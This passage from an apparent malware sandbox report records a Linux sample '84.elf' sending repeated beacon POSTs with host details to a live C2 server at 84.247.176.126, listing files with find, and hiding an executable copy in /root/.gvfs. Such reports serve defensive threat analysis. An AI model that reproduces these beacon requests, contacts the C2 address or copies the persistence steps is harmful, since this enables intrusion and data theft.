Sep 30, 2024 07:38:36.465065956 CEST	296	OUT	POST /api/root_265403912816988/hello HTTP/1.1 Host: 84.247.176.126:33548 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.18.4 Content-Length: 82 Data Raw: 7b 22 75 73 65 72 6e 61 6d 65 22 3a 20 22 72 6f 6f 74 22 2c 20 22 70 6c 61 74 66 6f 72 6d 22 3a 20 22 4c 69 6e 75 78 20 35 2e 34 2e 30 2d 37 32 2d 67 65 6e 65 72 69 63 22 2c 20 22 68 6f 73 74 6e 61 6d 65 22 3a 20 22 67 61 6c 61 73 73 69 61 22 7d Data Ascii: {"username": "root", "platform": "Linux 5.4.0-72-generic", "hostname": "galassia"}
Sep 30, 2024 07:38:37.098073959 CEST	141	IN	HTTP/1.0 200 OK Content-Type: text/html; charset=utf-8 Content-Length: 0 Server: Ares Date: Mon, 30 Sep 2024 05:38:37 GMT

Session ID	Source IP	Source Port	Destination IP	Destination Port
4	192.168.2.23	60494	84.247.176.126	33548

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 07:38:47.118318081 CEST	296	OUT	POST /api/root_265403912816988/hello HTTP/1.1 Host: 84.247.176.126:33548 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.18.4 Content-Length: 82 Data Raw: 7b 22 75 73 65 72 6e 61 6d 65 22 3a 20 22 72 6f 6f 74 22 2c 20 22 70 6c 61 74 66 6f 72 6d 22 3a 20 22 4c 69 6e 75 78 20 35 2e 34 2e 30 2d 37 32 2d 67 65 6e 65 72 69 63 22 2c 20 22 68 6f 73 74 6e 61 6d 65 22 3a 20 22 67 61 6c 61 73 73 69 61 22 7d Data Ascii: {"username": "root", "platform": "Linux 5.4.0-72-generic", "hostname": "galassia"}
Sep 30, 2024 07:38:47.738265991 CEST	141	IN	HTTP/1.0 200 OK Content-Type: text/html; charset=utf-8 Content-Length: 0 Server: Ares Date: Mon, 30 Sep 2024 05:38:47 GMT

Session ID	Source IP	Source Port	Destination IP	Destination Port
5	192.168.2.23	60496	84.247.176.126	33548

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 07:38:57.752588034 CEST	296	OUT	POST /api/root_265403912816988/hello HTTP/1.1 Host: 84.247.176.126:33548 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.18.4 Content-Length: 82 Data Raw: 7b 22 75 73 65 72 6e 61 6d 65 22 3a 20 22 72 6f 6f 74 22 2c 20 22 70 6c 61 74 66 6f 72 6d 22 3a 20 22 4c 69 6e 75 78 20 35 2e 34 2e 30 2d 37 32 2d 67 65 6e 65 72 69 63 22 2c 20 22 68 6f 73 74 6e 61 6d 65 22 3a 20 22 67 61 6c 61 73 73 69 61 22 7d Data Ascii: {"username": "root", "platform": "Linux 5.4.0-72-generic", "hostname": "galassia"}
Sep 30, 2024 07:38:58.545639992 CEST	141	IN	HTTP/1.0 200 OK Content-Type: text/html; charset=utf-8 Content-Length: 0 Server: Ares Date: Mon, 30 Sep 2024 05:38:58 GMT

Session ID	Source IP	Source Port	Destination IP	Destination Port
6	192.168.2.23	60498	84.247.176.126	33548

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 07:39:08.565172911 CEST	296	OUT	POST /api/root_265403912816988/hello HTTP/1.1 Host: 84.247.176.126:33548 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.18.4 Content-Length: 82 Data Raw: 7b 22 75 73 65 72 6e 61 6d 65 22 3a 20 22 72 6f 6f 74 22 2c 20 22 70 6c 61 74 66 6f 72 6d 22 3a 20 22 4c 69 6e 75 78 20 35 2e 34 2e 30 2d 37 32 2d 67 65 6e 65 72 69 63 22 2c 20 22 68 6f 73 74 6e 61 6d 65 22 3a 20 22 67 61 6c 61 73 73 69 61 22 7d Data Ascii: {"username": "root", "platform": "Linux 5.4.0-72-generic", "hostname": "galassia"}
Sep 30, 2024 07:39:09.188087940 CEST	29	IN	HTTP/1.0 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port
7	192.168.2.23	60500	84.247.176.126	33548

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 07:39:19.199743032 CEST	296	OUT	POST /api/root_265403912816988/hello HTTP/1.1 Host: 84.247.176.126:33548 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.18.4 Content-Length: 82 Data Raw: 7b 22 75 73 65 72 6e 61 6d 65 22 3a 20 22 72 6f 6f 74 22 2c 20 22 70 6c 61 74 66 6f 72 6d 22 3a 20 22 4c 69 6e 75 78 20 35 2e 34 2e 30 2d 37 32 2d 67 65 6e 65 72 69 63 22 2c 20 22 68 6f 73 74 6e 61 6d 65 22 3a 20 22 67 61 6c 61 73 73 69 61 22 7d Data Ascii: {"username": "root", "platform": "Linux 5.4.0-72-generic", "hostname": "galassia"}
Sep 30, 2024 07:39:19.825937986 CEST	29	IN	HTTP/1.0 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.2.23	60502	84.247.176.126	33548

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 07:39:29.849699020 CEST	296	OUT	POST /api/root_265403912816988/hello HTTP/1.1 Host: 84.247.176.126:33548 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.18.4 Content-Length: 82 Data Raw: 7b 22 75 73 65 72 6e 61 6d 65 22 3a 20 22 72 6f 6f 74 22 2c 20 22 70 6c 61 74 66 6f 72 6d 22 3a 20 22 4c 69 6e 75 78 20 35 2e 34 2e 30 2d 37 32 2d 67 65 6e 65 72 69 63 22 2c 20 22 68 6f 73 74 6e 61 6d 65 22 3a 20 22 67 61 6c 61 73 73 69 61 22 7d Data Ascii: {"username": "root", "platform": "Linux 5.4.0-72-generic", "hostname": "galassia"}
Sep 30, 2024 07:39:30.458168030 CEST	141	IN	HTTP/1.0 200 OK Content-Type: text/html; charset=utf-8 Content-Length: 0 Server: Ares Date: Mon, 30 Sep 2024 05:39:30 GMT

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.23	60504	84.247.176.126	33548

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 07:39:40.480756044 CEST	296	OUT	POST /api/root_265403912816988/hello HTTP/1.1 Host: 84.247.176.126:33548 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.18.4 Content-Length: 82 Data Raw: 7b 22 75 73 65 72 6e 61 6d 65 22 3a 20 22 72 6f 6f 74 22 2c 20 22 70 6c 61 74 66 6f 72 6d 22 3a 20 22 4c 69 6e 75 78 20 35 2e 34 2e 30 2d 37 32 2d 67 65 6e 65 72 69 63 22 2c 20 22 68 6f 73 74 6e 61 6d 65 22 3a 20 22 67 61 6c 61 73 73 69 61 22 7d Data Ascii: {"username": "root", "platform": "Linux 5.4.0-72-generic", "hostname": "galassia"}
Sep 30, 2024 07:39:41.118949890 CEST	29	IN	HTTP/1.0 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.23	60506	84.247.176.126	33548

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 07:39:51.131481886 CEST	296	OUT	POST /api/root_265403912816988/hello HTTP/1.1 Host: 84.247.176.126:33548 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.18.4 Content-Length: 82 Data Raw: 7b 22 75 73 65 72 6e 61 6d 65 22 3a 20 22 72 6f 6f 74 22 2c 20 22 70 6c 61 74 66 6f 72 6d 22 3a 20 22 4c 69 6e 75 78 20 35 2e 34 2e 30 2d 37 32 2d 67 65 6e 65 72 69 63 22 2c 20 22 68 6f 73 74 6e 61 6d 65 22 3a 20 22 67 61 6c 61 73 73 69 61 22 7d Data Ascii: {"username": "root", "platform": "Linux 5.4.0-72-generic", "hostname": "galassia"}
Sep 30, 2024 07:39:51.771234989 CEST	141	IN	HTTP/1.0 200 OK Content-Type: text/html; charset=utf-8 Content-Length: 0 Server: Ares Date: Mon, 30 Sep 2024 05:39:51 GMT

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.23	60508	84.247.176.126	33548

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 07:40:01.790150881 CEST	296	OUT	POST /api/root_265403912816988/hello HTTP/1.1 Host: 84.247.176.126:33548 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.18.4 Content-Length: 82 Data Raw: 7b 22 75 73 65 72 6e 61 6d 65 22 3a 20 22 72 6f 6f 74 22 2c 20 22 70 6c 61 74 66 6f 72 6d 22 3a 20 22 4c 69 6e 75 78 20 35 2e 34 2e 30 2d 37 32 2d 67 65 6e 65 72 69 63 22 2c 20 22 68 6f 73 74 6e 61 6d 65 22 3a 20 22 67 61 6c 61 73 73 69 61 22 7d Data Ascii: {"username": "root", "platform": "Linux 5.4.0-72-generic", "hostname": "galassia"}
Sep 30, 2024 07:40:02.407099009 CEST	141	IN	HTTP/1.0 200 OK Content-Type: text/html; charset=utf-8 Content-Length: 0 Server: Ares Date: Mon, 30 Sep 2024 05:40:02 GMT

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.23	60510	84.247.176.126	33548

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 07:40:12.427666903 CEST	296	OUT	POST /api/root_265403912816988/hello HTTP/1.1 Host: 84.247.176.126:33548 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.18.4 Content-Length: 82 Data Raw: 7b 22 75 73 65 72 6e 61 6d 65 22 3a 20 22 72 6f 6f 74 22 2c 20 22 70 6c 61 74 66 6f 72 6d 22 3a 20 22 4c 69 6e 75 78 20 35 2e 34 2e 30 2d 37 32 2d 67 65 6e 65 72 69 63 22 2c 20 22 68 6f 73 74 6e 61 6d 65 22 3a 20 22 67 61 6c 61 73 73 69 61 22 7d Data Ascii: {"username": "root", "platform": "Linux 5.4.0-72-generic", "hostname": "galassia"}
Sep 30, 2024 07:40:13.039876938 CEST	29	IN	HTTP/1.0 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.23	60512	84.247.176.126	33548

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 07:40:23.058384895 CEST	296	OUT	POST /api/root_265403912816988/hello HTTP/1.1 Host: 84.247.176.126:33548 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.18.4 Content-Length: 82 Data Raw: 7b 22 75 73 65 72 6e 61 6d 65 22 3a 20 22 72 6f 6f 74 22 2c 20 22 70 6c 61 74 66 6f 72 6d 22 3a 20 22 4c 69 6e 75 78 20 35 2e 34 2e 30 2d 37 32 2d 67 65 6e 65 72 69 63 22 2c 20 22 68 6f 73 74 6e 61 6d 65 22 3a 20 22 67 61 6c 61 73 73 69 61 22 7d Data Ascii: {"username": "root", "platform": "Linux 5.4.0-72-generic", "hostname": "galassia"}
Sep 30, 2024 07:40:23.679131031 CEST	141	IN	HTTP/1.0 200 OK Content-Type: text/html; charset=utf-8 Content-Length: 0 Server: Ares Date: Mon, 30 Sep 2024 05:40:23 GMT

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.23	60514	84.247.176.126	33548

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 07:40:33.696238041 CEST	296	OUT	POST /api/root_265403912816988/hello HTTP/1.1 Host: 84.247.176.126:33548 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.18.4 Content-Length: 82 Data Raw: 7b 22 75 73 65 72 6e 61 6d 65 22 3a 20 22 72 6f 6f 74 22 2c 20 22 70 6c 61 74 66 6f 72 6d 22 3a 20 22 4c 69 6e 75 78 20 35 2e 34 2e 30 2d 37 32 2d 67 65 6e 65 72 69 63 22 2c 20 22 68 6f 73 74 6e 61 6d 65 22 3a 20 22 67 61 6c 61 73 73 69 61 22 7d Data Ascii: {"username": "root", "platform": "Linux 5.4.0-72-generic", "hostname": "galassia"}
Sep 30, 2024 07:40:34.342586994 CEST	29	IN	HTTP/1.0 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.23	60516	84.247.176.126	33548

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 07:40:44.357692003 CEST	296	OUT	POST /api/root_265403912816988/hello HTTP/1.1 Host: 84.247.176.126:33548 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.18.4 Content-Length: 82 Data Raw: 7b 22 75 73 65 72 6e 61 6d 65 22 3a 20 22 72 6f 6f 74 22 2c 20 22 70 6c 61 74 66 6f 72 6d 22 3a 20 22 4c 69 6e 75 78 20 35 2e 34 2e 30 2d 37 32 2d 67 65 6e 65 72 69 63 22 2c 20 22 68 6f 73 74 6e 61 6d 65 22 3a 20 22 67 61 6c 61 73 73 69 61 22 7d Data Ascii: {"username": "root", "platform": "Linux 5.4.0-72-generic", "hostname": "galassia"}
Sep 30, 2024 07:40:45.086479902 CEST	29	IN	HTTP/1.0 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.23	60518	84.247.176.126	33548

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 07:40:55.103984118 CEST	296	OUT	POST /api/root_265403912816988/hello HTTP/1.1 Host: 84.247.176.126:33548 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.18.4 Content-Length: 82 Data Raw: 7b 22 75 73 65 72 6e 61 6d 65 22 3a 20 22 72 6f 6f 74 22 2c 20 22 70 6c 61 74 66 6f 72 6d 22 3a 20 22 4c 69 6e 75 78 20 35 2e 34 2e 30 2d 37 32 2d 67 65 6e 65 72 69 63 22 2c 20 22 68 6f 73 74 6e 61 6d 65 22 3a 20 22 67 61 6c 61 73 73 69 61 22 7d Data Ascii: {"username": "root", "platform": "Linux 5.4.0-72-generic", "hostname": "galassia"}
Sep 30, 2024 07:40:55.724241972 CEST	141	IN	HTTP/1.0 200 OK Content-Type: text/html; charset=utf-8 Content-Length: 0 Server: Ares Date: Mon, 30 Sep 2024 05:40:55 GMT

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.23	60520	84.247.176.126	33548

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 07:41:05.735977888 CEST	296	OUT	POST /api/root_265403912816988/hello HTTP/1.1 Host: 84.247.176.126:33548 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.18.4 Content-Length: 82 Data Raw: 7b 22 75 73 65 72 6e 61 6d 65 22 3a 20 22 72 6f 6f 74 22 2c 20 22 70 6c 61 74 66 6f 72 6d 22 3a 20 22 4c 69 6e 75 78 20 35 2e 34 2e 30 2d 37 32 2d 67 65 6e 65 72 69 63 22 2c 20 22 68 6f 73 74 6e 61 6d 65 22 3a 20 22 67 61 6c 61 73 73 69 61 22 7d Data Ascii: {"username": "root", "platform": "Linux 5.4.0-72-generic", "hostname": "galassia"}
Sep 30, 2024 07:41:06.488665104 CEST	29	IN	HTTP/1.0 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.23	60522	84.247.176.126	33548

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 07:41:16.502839088 CEST	296	OUT	POST /api/root_265403912816988/hello HTTP/1.1 Host: 84.247.176.126:33548 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.18.4 Content-Length: 82 Data Raw: 7b 22 75 73 65 72 6e 61 6d 65 22 3a 20 22 72 6f 6f 74 22 2c 20 22 70 6c 61 74 66 6f 72 6d 22 3a 20 22 4c 69 6e 75 78 20 35 2e 34 2e 30 2d 37 32 2d 67 65 6e 65 72 69 63 22 2c 20 22 68 6f 73 74 6e 61 6d 65 22 3a 20 22 67 61 6c 61 73 73 69 61 22 7d Data Ascii: {"username": "root", "platform": "Linux 5.4.0-72-generic", "hostname": "galassia"}
Sep 30, 2024 07:41:17.124109030 CEST	141	IN	HTTP/1.0 200 OK Content-Type: text/html; charset=utf-8 Content-Length: 0 Server: Ares Date: Mon, 30 Sep 2024 05:41:17 GMT

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.23	60524	84.247.176.126	33548

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 07:41:27.142836094 CEST	296	OUT	POST /api/root_265403912816988/hello HTTP/1.1 Host: 84.247.176.126:33548 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.18.4 Content-Length: 82 Data Raw: 7b 22 75 73 65 72 6e 61 6d 65 22 3a 20 22 72 6f 6f 74 22 2c 20 22 70 6c 61 74 66 6f 72 6d 22 3a 20 22 4c 69 6e 75 78 20 35 2e 34 2e 30 2d 37 32 2d 67 65 6e 65 72 69 63 22 2c 20 22 68 6f 73 74 6e 61 6d 65 22 3a 20 22 67 61 6c 61 73 73 69 61 22 7d Data Ascii: {"username": "root", "platform": "Linux 5.4.0-72-generic", "hostname": "galassia"}
Sep 30, 2024 07:41:27.785706043 CEST	29	IN	HTTP/1.0 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.23	60526	84.247.176.126	33548

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 07:41:37.796808004 CEST	296	OUT	POST /api/root_265403912816988/hello HTTP/1.1 Host: 84.247.176.126:33548 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.18.4 Content-Length: 82 Data Raw: 7b 22 75 73 65 72 6e 61 6d 65 22 3a 20 22 72 6f 6f 74 22 2c 20 22 70 6c 61 74 66 6f 72 6d 22 3a 20 22 4c 69 6e 75 78 20 35 2e 34 2e 30 2d 37 32 2d 67 65 6e 65 72 69 63 22 2c 20 22 68 6f 73 74 6e 61 6d 65 22 3a 20 22 67 61 6c 61 73 73 69 61 22 7d Data Ascii: {"username": "root", "platform": "Linux 5.4.0-72-generic", "hostname": "galassia"}
Sep 30, 2024 07:41:38.467483044 CEST	29	IN	HTTP/1.0 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.23	60528	84.247.176.126	33548

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 07:41:48.487015963 CEST	296	OUT	POST /api/root_265403912816988/hello HTTP/1.1 Host: 84.247.176.126:33548 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.18.4 Content-Length: 82 Data Raw: 7b 22 75 73 65 72 6e 61 6d 65 22 3a 20 22 72 6f 6f 74 22 2c 20 22 70 6c 61 74 66 6f 72 6d 22 3a 20 22 4c 69 6e 75 78 20 35 2e 34 2e 30 2d 37 32 2d 67 65 6e 65 72 69 63 22 2c 20 22 68 6f 73 74 6e 61 6d 65 22 3a 20 22 67 61 6c 61 73 73 69 61 22 7d Data Ascii: {"username": "root", "platform": "Linux 5.4.0-72-generic", "hostname": "galassia"}
Sep 30, 2024 07:41:49.103538036 CEST	141	IN	HTTP/1.0 200 OK Content-Type: text/html; charset=utf-8 Content-Length: 0 Server: Ares Date: Mon, 30 Sep 2024 05:41:49 GMT

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.23	60530	84.247.176.126	33548

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 07:41:59.121475935 CEST	296	OUT	POST /api/root_265403912816988/hello HTTP/1.1 Host: 84.247.176.126:33548 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.18.4 Content-Length: 82 Data Raw: 7b 22 75 73 65 72 6e 61 6d 65 22 3a 20 22 72 6f 6f 74 22 2c 20 22 70 6c 61 74 66 6f 72 6d 22 3a 20 22 4c 69 6e 75 78 20 35 2e 34 2e 30 2d 37 32 2d 67 65 6e 65 72 69 63 22 2c 20 22 68 6f 73 74 6e 61 6d 65 22 3a 20 22 67 61 6c 61 73 73 69 61 22 7d Data Ascii: {"username": "root", "platform": "Linux 5.4.0-72-generic", "hostname": "galassia"}
Sep 30, 2024 07:41:59.747888088 CEST	141	IN	HTTP/1.0 200 OK Content-Type: text/html; charset=utf-8 Content-Length: 0 Server: Ares Date: Mon, 30 Sep 2024 05:41:59 GMT

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.23	60532	84.247.176.126	33548

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 07:42:09.767136097 CEST	296	OUT	POST /api/root_265403912816988/hello HTTP/1.1 Host: 84.247.176.126:33548 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.18.4 Content-Length: 82 Data Raw: 7b 22 75 73 65 72 6e 61 6d 65 22 3a 20 22 72 6f 6f 74 22 2c 20 22 70 6c 61 74 66 6f 72 6d 22 3a 20 22 4c 69 6e 75 78 20 35 2e 34 2e 30 2d 37 32 2d 67 65 6e 65 72 69 63 22 2c 20 22 68 6f 73 74 6e 61 6d 65 22 3a 20 22 67 61 6c 61 73 73 69 61 22 7d Data Ascii: {"username": "root", "platform": "Linux 5.4.0-72-generic", "hostname": "galassia"}
Sep 30, 2024 07:42:10.439176083 CEST	29	IN	HTTP/1.0 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.23	60534	84.247.176.126	33548

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 07:42:20.450062990 CEST	296	OUT	POST /api/root_265403912816988/hello HTTP/1.1 Host: 84.247.176.126:33548 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.18.4 Content-Length: 82 Data Raw: 7b 22 75 73 65 72 6e 61 6d 65 22 3a 20 22 72 6f 6f 74 22 2c 20 22 70 6c 61 74 66 6f 72 6d 22 3a 20 22 4c 69 6e 75 78 20 35 2e 34 2e 30 2d 37 32 2d 67 65 6e 65 72 69 63 22 2c 20 22 68 6f 73 74 6e 61 6d 65 22 3a 20 22 67 61 6c 61 73 73 69 61 22 7d Data Ascii: {"username": "root", "platform": "Linux 5.4.0-72-generic", "hostname": "galassia"}
Sep 30, 2024 07:42:21.075166941 CEST	29	IN	HTTP/1.0 200 OK

System Behavior

Analysis Process: dash PID: 6228, Parent PID: 4332

General

Start time (UTC):	05:38:07
Start date (UTC):	30/09/2024
Path:	/usr/bin/dash
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Start time (UTC):	05:38:07
Start date (UTC):	30/09/2024
Path:	/usr/bin/rm
Arguments:	rm -f /tmp/tmp.dyRqBbtRkK /tmp/tmp.wSbLfeKNbu /tmp/tmp.up7UPCnJlz
File size:	72056 bytes
MD5 hash:	aa2b5496fdbfd88e38791ab81f90b95b

Start time (UTC):	05:38:07
Start date (UTC):	30/09/2024
Path:	/usr/bin/dash
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Start time (UTC):	05:38:07
Start date (UTC):	30/09/2024
Path:	/usr/bin/rm
Arguments:	rm -f /tmp/tmp.dyRqBbtRkK /tmp/tmp.wSbLfeKNbu /tmp/tmp.up7UPCnJlz
File size:	72056 bytes
MD5 hash:	aa2b5496fdbfd88e38791ab81f90b95b

Start time (UTC):	05:38:08
Start date (UTC):	30/09/2024
Path:	/tmp/84.elf
Arguments:	/tmp/84.elf
File size:	6347024 bytes
MD5 hash:	51ac5f4bcffd208899ebe778c1725579

Start time (UTC):	05:38:10
Start date (UTC):	30/09/2024
Path:	/tmp/84.elf
Arguments:	-
File size:	6347024 bytes
MD5 hash:	51ac5f4bcffd208899ebe778c1725579

Start time (UTC):	05:38:10
Start date (UTC):	30/09/2024
Path:	/tmp/84.elf
Arguments:	/tmp/84.elf
File size:	6347024 bytes
MD5 hash:	51ac5f4bcffd208899ebe778c1725579

Start time (UTC):	05:38:10
Start date (UTC):	30/09/2024
Path:	/tmp/84.elf
Arguments:	-
File size:	6347024 bytes
MD5 hash:	51ac5f4bcffd208899ebe778c1725579

Start time (UTC):	05:38:10
Start date (UTC):	30/09/2024
Path:	/sbin/ldconfig
Arguments:	/sbin/ldconfig -p
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Start time (UTC):	05:38:10
Start date (UTC):	30/09/2024
Path:	/sbin/ldconfig.real
Arguments:	/sbin/ldconfig.real -p
File size:	1053768 bytes
MD5 hash:	cf725620cf31c0c148dfb25bfe210af6

Start time (UTC):	05:38:11
Start date (UTC):	30/09/2024
Path:	/tmp/84.elf
Arguments:	-
File size:	6347024 bytes
MD5 hash:	51ac5f4bcffd208899ebe778c1725579

Start time (UTC):	05:38:11
Start date (UTC):	30/09/2024
Path:	/bin/sh
Arguments:	sh -c "uname -p 2> /dev/null"
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Start time (UTC):	05:38:11
Start date (UTC):	30/09/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Start time (UTC):	05:38:11
Start date (UTC):	30/09/2024
Path:	/usr/bin/uname
Arguments:	uname -p
File size:	39288 bytes
MD5 hash:	4ac7c634c5bec95753c480e9d421dcc2

Start time (UTC):	05:38:11
Start date (UTC):	30/09/2024
Path:	/tmp/84.elf
Arguments:	-
File size:	6347024 bytes
MD5 hash:	51ac5f4bcffd208899ebe778c1725579

Start time (UTC):	05:38:11
Start date (UTC):	30/09/2024
Path:	/bin/sh
Arguments:	sh -c "cd; find . -type f > /tmp/list.txt"
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Start time (UTC):	05:38:11
Start date (UTC):	30/09/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Start time (UTC):	05:38:11
Start date (UTC):	30/09/2024
Path:	/usr/bin/find
Arguments:	find . -type f
File size:	320160 bytes
MD5 hash:	b68ef002f84cc54dd472238ba7df80ab

Start time (UTC):	05:38:14
Start date (UTC):	30/09/2024
Path:	/tmp/84.elf
Arguments:	-
File size:	6347024 bytes
MD5 hash:	51ac5f4bcffd208899ebe778c1725579

Start time (UTC):	05:38:14
Start date (UTC):	30/09/2024
Path:	/bin/sh
Arguments:	sh -c "chmod +x /root/.gvfs/84.elf"
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Start time (UTC):	05:38:14
Start date (UTC):	30/09/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Start time (UTC):	05:38:14
Start date (UTC):	30/09/2024
Path:	/usr/bin/chmod
Arguments:	chmod +x /root/.gvfs/84.elf
File size:	63864 bytes
MD5 hash:	739483b900c045ae1374d6f53a86a279

Start time (UTC):	05:38:11
Start date (UTC):	30/09/2024
Path:	/usr/lib/systemd/systemd
Arguments:	-
File size:	1620224 bytes
MD5 hash:	9b2bec7092a40488108543f9334aab75

Start time (UTC):	05:38:11
Start date (UTC):	30/09/2024
Path:	/usr/sbin/uuidd
Arguments:	/usr/sbin/uuidd --socket-activation
File size:	43320 bytes
MD5 hash:	9635fb70deacacfc235cf3b9fb4a96c4

Source: 84.elf	ReversingLabs: Detection: 58%
Source: 84.elf	Virustotal: Detection: 52%			Perma Link

Source: unknown	TCP traffic detected without corresponding DNS query: 54.171.230.55
Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknown	TCP traffic detected without corresponding DNS query: 84.247.176.126
Source: unknown	TCP traffic detected without corresponding DNS query: 84.247.176.126
Source: unknown	TCP traffic detected without corresponding DNS query: 84.247.176.126
Source: unknown	TCP traffic detected without corresponding DNS query: 84.247.176.126
Source: unknown	TCP traffic detected without corresponding DNS query: 84.247.176.126
Source: unknown	TCP traffic detected without corresponding DNS query: 84.247.176.126
Source: unknown	TCP traffic detected without corresponding DNS query: 84.247.176.126
Source: unknown	TCP traffic detected without corresponding DNS query: 84.247.176.126
Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.43
Source: unknown	TCP traffic detected without corresponding DNS query: 84.247.176.126
Source: unknown	TCP traffic detected without corresponding DNS query: 84.247.176.126
Source: unknown	TCP traffic detected without corresponding DNS query: 84.247.176.126
Source: unknown	TCP traffic detected without corresponding DNS query: 109.202.202.202
Source: unknown	TCP traffic detected without corresponding DNS query: 84.247.176.126
Source: unknown	TCP traffic detected without corresponding DNS query: 84.247.176.126
Source: unknown	TCP traffic detected without corresponding DNS query: 84.247.176.126
Source: unknown	TCP traffic detected without corresponding DNS query: 84.247.176.126
Source: unknown	TCP traffic detected without corresponding DNS query: 84.247.176.126
Source: unknown	TCP traffic detected without corresponding DNS query: 84.247.176.126
Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknown	TCP traffic detected without corresponding DNS query: 84.247.176.126
Source: unknown	TCP traffic detected without corresponding DNS query: 84.247.176.126
Source: unknown	TCP traffic detected without corresponding DNS query: 84.247.176.126
Source: unknown	TCP traffic detected without corresponding DNS query: 84.247.176.126
Source: unknown	TCP traffic detected without corresponding DNS query: 84.247.176.126
Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.43
Source: unknown	TCP traffic detected without corresponding DNS query: 109.202.202.202
Source: unknown	TCP traffic detected without corresponding DNS query: 84.247.176.126
Source: unknown	TCP traffic detected without corresponding DNS query: 84.247.176.126
Source: unknown	TCP traffic detected without corresponding DNS query: 84.247.176.126
Source: unknown	TCP traffic detected without corresponding DNS query: 84.247.176.126
Source: unknown	TCP traffic detected without corresponding DNS query: 84.247.176.126
Source: unknown	TCP traffic detected without corresponding DNS query: 84.247.176.126
